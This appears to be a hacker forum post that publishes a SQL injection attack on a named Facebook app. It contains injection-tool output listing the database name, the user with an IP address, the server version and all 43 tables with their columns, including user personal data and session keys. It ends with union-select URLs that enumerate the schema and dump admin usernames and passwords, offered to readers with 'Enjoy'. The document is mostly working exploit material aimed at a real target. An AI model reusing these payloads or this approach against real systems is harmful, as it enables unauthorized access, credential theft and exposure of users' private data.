Facebook.com apps (Sqli)

Facebook.com apps (Sqli)

NOT MY

[+] URL:http://apps.facebook.com/observerfacebook/?p=challenges&id=-1+union+select+1,darkc0de,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
[+] Evasion Used: "+" "--"
[+] 16:03:09
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: adminclt_testsite
User: adminclt_13@209.68.2.10
Version: 5.0.67-log
[+] Showing Tables & Columns from database "adminclt_testsite"
[+] Number of Tables: 43

[Database]: adminclt_testsite
[Table: Columns]
[0]AdCode: id,site,clientid,format,locale,code,codeType,impRemaining,status
[1]AdTrack: id,source,userid
[2]Admin_DataStore: id,type,name,data
[3]Admin_User: id,name,email,password,userid,ncUid,level
[4]Challenges: id,title,shortName,description,dateStart,dateEnd,initialCompletions,remainingCompletions,maxUserCompletions,maxUserCompletionsPerDay,type,pointValue,eligibility,status,thumbnail,requires,isFeatured
[5]ChallengesCompleted: id,userid,challengeid,dateSubmitted,dateAwarded,evidence,comments,status,pointsAwarded,logid
[6]Comments: siteCommentId,commentid,siteContentId,contentid,comments,postedByName,postedById,userid,date,isBlocked,videoid
[7]ContactEmails: id,email,subject,message,userid,is_read,replied,topic,date
[8]Content: siteContentId,contentid,title,caption,source,url,permalink,postedById,postedByName,date,score,numComments,isFeatured,userid,imageid,videoIntroId,isBlocked,videoid,widgetid,isBlogEntry,isFeatureCandidate
[9]ContentImages: id,url,siteContentId,date
[10]FeaturedTemplate: id,template,story_1_id,story_2_id,story_3_id,story_4_id,story_5_id,story_6_id
[11]FeaturedWidgets: id,widgetid,locale,position
[12]Feeds: id,wireid,title,url,rss,lastFetch,feedType
[13]FolderLinks: id,linkid,folderid,title,url,notes,linkType,imageUrl
[14]Folders: id,folderid,uid,title
[15]ForumTopics: id,title,intro,lastChanged,numPostsToday,numViewsToday
[16]Log: id,userid1,action,itemid,itemid2,userid2,ncUid,t,dateCreated,status,isFeedPublished
[17]LogDumps: id,userid1,action,itemid,itemid2,userid2,ncUid,t,dateCreated,status,isFeedPublished,siteid
[18]Newswire: id,title,caption,source,url,date,wireid,feedType,mediaUrl,imageUrl,embed
[19]NotificationMessages: msgid,userid,type,itemid,subject,message,embed,dateCreated,lastAttempt,status
[20]Notifications: id,msgid,status,userid,dateSent,toUserId,toFbId
[21]Orders: id,userid,prizeid,pointCost,dateSubmitted,dateApproved,dateShipped,dateCanceled,dateRefunded,reviewedBy,status
[22]OutboundMessages: id,userIntro,msgType,subject,msgBody,buttonLinkText,closingLinkText,shortLink,userGroup,userid,t,status,usersReceived,numUsersReceived,numUsersExpected
[23]Photos: id,title,shortName,description,dateCreated,userid,status,filename,challengeCompletedId,localFilename
[24]Prizes: id,title,shortName,description,sponsor,sponsorUrl,dateStart,dateEnd,initialStock,currentStock,pointCost,eligibility,userMaximum,status,orderFieldsNeeded,thumbnail,isWeekly,isGrand,isFeatured,dollarValue
[25]RawExtLinks: id,action,str,qs,itemid,itemid2,userid,siteid,t
[26]RawSessions: id,fb_sig_session_key,fb_sig_time,fb_sig_expires,fb_sig_update_time,qs,userid,siteid,fbId,sessionTableId,t
[27]SessionLengths: id,session_length,avg_click_rate,userid,siteid,total_actions,start_session,end_session
[28]Sites: id,name,dbname,shortname,description,url
[29]Subscriptions: id,userid,rxFeatures,rxMode,lastFeatureSent
[30]SurveyMonkeys: id,email,userid,siteid,q1a,q1b,q1c,q1d,q1e,q1f,q1g,q2a,q2b,q2c,q2d,q2e,q3a,q3b,q3c,q3d,q3e,q3f,q3g,q3h,q4a,q4b,q4c,q4d,q4e,q4f,q4g,q5a,q5b,q5c,q5d,q5e,q5f,q5g,q5h,q5i,q5j,q5k,q6,q7,q8a,q8b,q8c,q8d,q8e,q8f,q8g,q8h,q9a,q9b,q9c,q9d,q9e,q9f,q10a,q10b,q10c,q10d,q10e,q10f,q11a,q11b,q11c,q11d,q11e,q11f,q11g,q11h,q12a,q12b,q12c,q12d,q12e,q12f,q12g,q12h,q13a,q13b,q13c,q13d,q14a,q14b,q14c,q14d,q14e,q14f,q15,q16,q17a,q17b,q17c,q17d,q17e,q18,q19,q20,q21,q22,q23,q24,q25,q26,q27,q28a,q28b,q28c,q28d,q28e,q28f,q29,q30,q31,q32,q33,q34,q35,q36,q37,q38a,q38b,q38c,q38d,q38e
[31]SystemStatus: id,name,strValue,numValue
[32]Templates: id,shortName,code,category,helpString
[33]User: userid,ncUid,name,email,isAdmin,isBlocked,votePower,remoteStatus,isMember,isModerator,isSponsor,isEmailVerified,isResearcher,acceptRules,optInStudy,optInEmail,optInProfile,optInFeed,optInSMS,dateRegistered,eligibility,cachedPointTotal,cachedPointsEarned,cachedPointsEarnedThisWeek,cachedPointsEarnedLastWeek,cachedStoriesPosted,cachedCommentsPosted,userLevel
[34]UserBlogs: blogid,siteContentId,userid,title,entry,url,imageUrl,videoEmbed,status
[35]UserCollectives: id,eligibility,userid,siteid,optInStudy,dateRegistered,researchImportance,gender,age,city,state,country,zip,cachedPointTotal,email,isMember,rxConsentForm,bookmarkToolAdded,postStoryCount,postCommentCount,postBlogCount,readStoryCount,completedChallengeCount,wonPrizeCount,chatStoryCount,inviteFriendsCount,shareStoryCount,tweetCount,voteCount,friendsSignUpCount
[36]UserInfo: userid,fbId,isAppAuthorized,networkid,birthdate,age,rxConsentForm,gender,researchImportance,dateCreated,lastUpdated,friends,memberFriends,numFriends,numMemberFriends,lastInvite,lastProfileUpdate,lastRemoteSyncUpdate,interests,bio,phone,address1,address2,city,state,country,zip,refuid,cachedFriendsInvited,cachedChallengesCompleted,hideTipStories,hideTeamIntro,noCommentNotify,lastUpdateLevels,lastUpdateSiteChallenges,lastUpdateCachedPointsAndChallenges,lastUpdateCachedCommentsAndStories
[37]UserInvites: id,userid,friendFbId,dateInvited,dateAccepted
[38]Videos: id,service,title,shortName,description,dateCreated,userid,status,challengeCompletedId,embedCode
[39]WeeklyScores: id,userid,weekOf,eligibilityGroup,pointTotal
[40]Widgets: id,title,wrap,html,smartsize,width,height,style,type,isAd
[41]cronJobs: id,task,comments,nextRun,status,freqMinutes,dayOfWeek,hourOfDay,lastExecTime,isRunning,lastStart,lastItemTime,failureNoticeSent
[42]fbSessions: id,userid,fbId,fb_sig_session_key,fb_sig_time,fb_sig_expires,fb_sig_profile_update_time

[-] [16:32:26]
[-] Total URL Requests 576
[-] Done




http://apps.facebook.com/observerfacebook/?p=challenges&id=-1'a

http://apps.facebook.com/observerfacebook/?p=challenges&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

http://apps.facebook.com/observerfacebook/?p=challenges&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables

http://apps.facebook.com/observerfacebook/?p=challenges&id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+where+table_name=0x41646D696E5F55736572

http://apps.facebook.com/observerfacebook/?p=challenges&id=-1+union+select+1,group_concat(id,0x3a,user id,0x3a,password,0x3a,name,0x3a,level),3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17%20+from+Admin_User

Enjoy, XyLeM